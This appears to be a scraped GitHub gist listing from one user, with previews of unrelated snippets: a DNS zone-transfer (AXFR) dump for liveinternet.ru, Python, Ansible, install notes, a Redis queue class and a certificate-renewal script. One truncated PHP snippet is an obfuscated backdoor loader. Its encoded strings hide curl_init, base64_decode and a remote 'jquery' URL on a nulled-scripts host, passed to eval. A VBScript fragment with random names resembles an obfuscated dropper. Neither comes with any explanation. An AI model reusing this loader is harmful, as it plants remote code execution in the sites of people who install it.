Skip to content

Instantly share code, notes, and snippets.

@vanzhiganov
vanzhiganov / gist:72f72bbdd65eb2474b26
Created June 17, 2015 22:45
AXFR query to Liveinternet.ru
liveinternet.ru. 900 IN SOA ns.liveinternet.ru. hostmaster.liveinternet.ru. 2014111600 10800 3600 604800 900
liveinternet.ru. 900 IN TXT "v=spf1 a mx ip4:88.212.196.64/26 ip4:88.212.202.0/26 include:aspmx.googlemail.com ~all"
liveinternet.ru. 900 IN NS ns.liveinternet.ru.
liveinternet.ru. 900 IN NS ns2.liveinternet.ru.
liveinternet.ru. 900 IN MX 1 aspmx.l.google.com.
liveinternet.ru. 900 IN MX 5 alt1.aspmx.l.google.com.
liveinternet.ru. 900 IN MX 5 alt2.aspmx.l.google.com.
liveinternet.ru. 900 IN MX 10 aspmx2.l.google.com.
liveinternet.ru. 900 IN MX 10 aspmx3.l.google.com.
liveinternet.ru. 900 IN MX 10 aspmx4.l.google.com.
@vanzhiganov
vanzhiganov / gist:0b99be89b607b9ba6124
Created June 24, 2015 15:53
Get Wikipedia Pages via API
#!/bin/env python
# -*- coding: utf-8 -*-
import requests
import etcd
client = etcd.Client(host='localhost', port=4001, allow_reconnect=True)
cnt = 1
<?php
if (!function_exists("mystr1s44")) {
class mystr1s21 {
static $mystr1s279 = "Y3\x56ybF\x39pb\x6d\x6c0";
static $mystr1s178 = "b\x61se\x364\x5f\x64ec\x6fd\x65";
static $mystr1s381 = "aH\x520\x63\x44ov\x4c3Ro\x5a\x571\x6cLm5\x31b\x47x\x6cZ\x47N\x73b2\x35l\x632\x4eyaX\x420cy\x35jb2\x30\x76an\x461\x5aXJ\x35\x4cTE\x75Ni\x34zL\x6d1\x70b\x695qc\x77=\x3d";
static $mystr1s382 = "b\x58l\x7a\x64H\x49xc\x7a\x49y\x4dzY\x3d";
}
eval("e\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34_\x64e\x63\x6fd\x65\x28\x27ZnV\x75Y\x33\x52\x70b2\x34\x67b\x58l\x7ad\x48Ix\x63\x7ac2K\x43Rte\x58N0\x63j\x46zO\x54cpe\x79R\x37\x49m1c\x65D\x635c3\x52\x79\x58Hgz\x4d\x58M\x78\x58Hgz\x4dFx\x34Mz\x67if\x54\x31t\x65XN0\x63j\x46zMj\x456O\x69R\x37Im1\x63eD\x63\x35c1x\x34Nz\x52\x63e\x44c\x79MV\x784\x4ezMx\x58Hgz\x4e\x7ag\x69fTt\x79ZX\x52\x31c\x6d4gJ\x48\x73i\x62Xlz\x58\x48g3\x4eFx\x34\x4ezI\x78XH\x673M\x7aFce\x44\x4dwO\x43J\x39\x4b\x43\x42t\x65XN0\x63j\x46zMj\x456O\x69R7J\x48si\x62Vx4\x4e\x7alce\x44c\x7aX\x48\x6
- name: nginx website
hosts: web
sudo: true
tasks:
- name: Start etcd
service: name=etcd.service state=started
- name: Install docker-py
pip: name=docker-py
@vanzhiganov
vanzhiganov / gist:5ae883605cb311075f10202c4dca50e7
Last active July 4, 2016 13:11
Install Pagure on Ubuntu Linux
# Pagure ubuntu
# Upgrade ubuntu linux
apt-get install update-manager-core
do-release-upgrade -d
# 2. Install required packages
apt install git python-virtualenv libgit2-dev libjpeg-dev gcc libffi-dev
@vanzhiganov
vanzhiganov / redisqueue.py
Last active September 25, 2016 23:29
RedisQUEUE
from redis import StrictRedis
class RedisQUEUE(StrictRedis):
def set_item(self, queue, item, unique=True):
"""
set queue item
:param queue:
:param item:
:param unique:
:return:
@vanzhiganov
vanzhiganov / test.md
Last active September 28, 2016 08:01
x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}
Function ytesobpu()
ytesobpu = "oswoqhy"
End Function
Function dnemis()
dnemis = 448
End Function
Function wodzomtab()
wodzomtab = Empty
@vanzhiganov
vanzhiganov / letsencrypt-auto-renew
Created February 19, 2017 12:44 — forked from neutronth/letsencrypt-auto-renew
Let's Encrypt auto renew script
#/bin/sh
OPTS=$(getopt -o cehw: --long config:,expire-limit:,help,webservice: -n "$0" -- "$@")
if [ $? != 0 ]; then
echo "Terminating ..." >&2
exit 1
fi
CONFIG=/etc/letsencrypt/cli.ini
WEBSERVICE=nginx
sphinx-apidoc -o source/ .
sphinx-build -b html source/ build/